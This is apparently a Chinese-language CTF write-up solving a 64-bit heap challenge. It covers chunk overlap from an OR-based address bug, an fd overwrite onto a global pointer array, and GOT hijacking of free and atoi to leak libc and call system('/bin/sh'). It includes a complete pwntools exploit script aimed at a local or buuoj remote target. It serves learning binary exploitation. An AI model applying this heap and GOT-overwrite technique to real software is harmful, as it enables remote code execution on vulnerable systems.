题目分析
64位堆题,Partial Relro
程序功能:
1.add
2.free
3.edit
add函数:
有一个低三位地址(16进制)的泄露,每个堆块的内容和size地址都由一个数组(我在这叫内容数组和size数组)存放。此处的or函数会对content的地址和size进行或运算并存入内容数组里。可以发现这里内容数组存放指针的顺序是按照add的顺序来的。而经过调试,第一个申请的堆的地址往往是0x260,即001001100000和00010000或一下就会变成0x270,这就造成了堆重叠。
free:
这个free很有意思,和平常的free不同,他不是根据你输入的index去对应的找到相同index的堆,而是找最后一位和index相同的进行free操作。
edit:逻辑和free是一样的,edit的size是根据保存在size数组里的值来确定的。
题目思路:
1.先add一个index为0x10的堆块并在内容中布置好堆块的内容就可以实现堆块的重叠。(这里限制index为0x10及以下,所以就0x10有这个性质)
add(0x10,0x10,p64(0)+p64(0x30))
gdb.attach(p)
可以看到内容是被写入到0x24b4260中的,但是内容数组中存放的却是0x24b4270
2.接下来我们再创建一个堆并把两个堆都free掉,这时如果我们申请一个0x20的堆就可以将堆块1的size段和fd段进行修改。
add(1,0xc0,b'aaa')
dele(0)
dele(1)
add(2,0x20,p64(0)+p64(0x21)+p64(0x6020e0))
可以看到堆块1指向了0x6020e0
3.此时我们连续申请两个0xc0大小的堆块(3,4)此时四就会被申请到0x6020e0,这样我们写入的内容就会被存入0x6020e0(内容数组)中,同时因为能写0xe0我们能覆盖size数组(这里0x10应该不是固定的只要能实现got表的覆写就好)。
add(3,0xc0,'dddd')
add(4,0xc0,p64(free_got)+p64(puts_got)+p64(atoi-4)+p64(0)*17+p32(0x10)*8)
可以看到内容数组里以及覆盖为对应的地址了(这里0x6020f0后面不知道为什么没有覆盖成0,不是很懂),这里还有一个有意思的点就是atoi要调整一下偏移,因为前面说过free和edit是以地址最后一位来的,所以这里不减去4就会造成重复,当然减去其他数和加上其他数应该也可以,可以调试着试试。
4.接下来我们将free_got覆盖成put实现地址泄露功能,将puts_got泄露出来算出libc偏移,并在atoi中写入system。edit(8)就是对free_got进行覆写,然后dele(0)就会puts(puts_got)最后就是简单的getshell了。
edit(8,p64(puts_plt)*2)
dele(0)
puts=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.sym['system']
print(hex(puts))
print(hex(system))
edit(4,p64(system)*2)
p.sendline(b'/bin/sh\x00')
完整exp:
from pwn import *
from LibcSearcher import *
import hashlib
import time
context(os='linux', arch='i386', log_level='debug')
#context(os='linux', arch='amd64', log_level='debug')
elf=ELF('./1')
libc=ELF('./libc.so.6')
mode =0
if mode == 0:
p = process("./1")
else:
p = remote("node4.buuoj.cn", 29502)
#p = remote("47.98.99.193", 6666)
def add(idx,size,content):
p.sendlineafter('your choice: ','1')
p.sendlineafter('index: ',str(idx))
p.sendlineafter('size: ',str(size))
p.sendafter('content:',content)
def dele(id1):
p.sendlineafter('your choice: ','2')
p.sendlineafter('index:',str(id1))
def show():
p.sendlineafter('Your choice : ','2')
#p.sendlineafter('Give me your index :',str(id1))
def edit(id1,name):
p.sendlineafter('your choice: ','3')
p.sendlineafter('index:',str(id1))
p.sendafter('content:',name)
free_got=elf.got['free']
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
atoi=elf.got['atoi']
add(0x10,0x10,p64(0)+p64(0x30))
add(1,0xc0,b'aaa')
dele(0)
dele(1)
add(2,0x20,p64(0)+p64(0x21)+p64(0x6020e0))
add(3,0xc0,'dddd')
add(4,0xc0,p64(free_got)+p64(puts_got)+p64(atoi-4)+p64(0)*17+p32(0x30)*8)
gdb.attach(p)
edit(8,p64(puts_plt)*2)
dele(0)
puts=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts - libc.symbols['puts']
system = libc_base + libc.sym['system']
print(hex(puts))
print(hex(system))
edit(4,p64(system)*2)
p.sendline(b'/bin/sh\x00')
#gdb.attach(p)
p.interactive()
小结:本来以为对解堆题开始有点熟悉了,但是遇到一点点变种还是会有点不知所措,说白了还是对各种漏洞用法还是不够熟练,这题的依据地址最后一位索引的机制还是很有意思的,漏洞点也不是那么直白,收获很多!如果有什么地方说的不对也希望大佬们能够指正。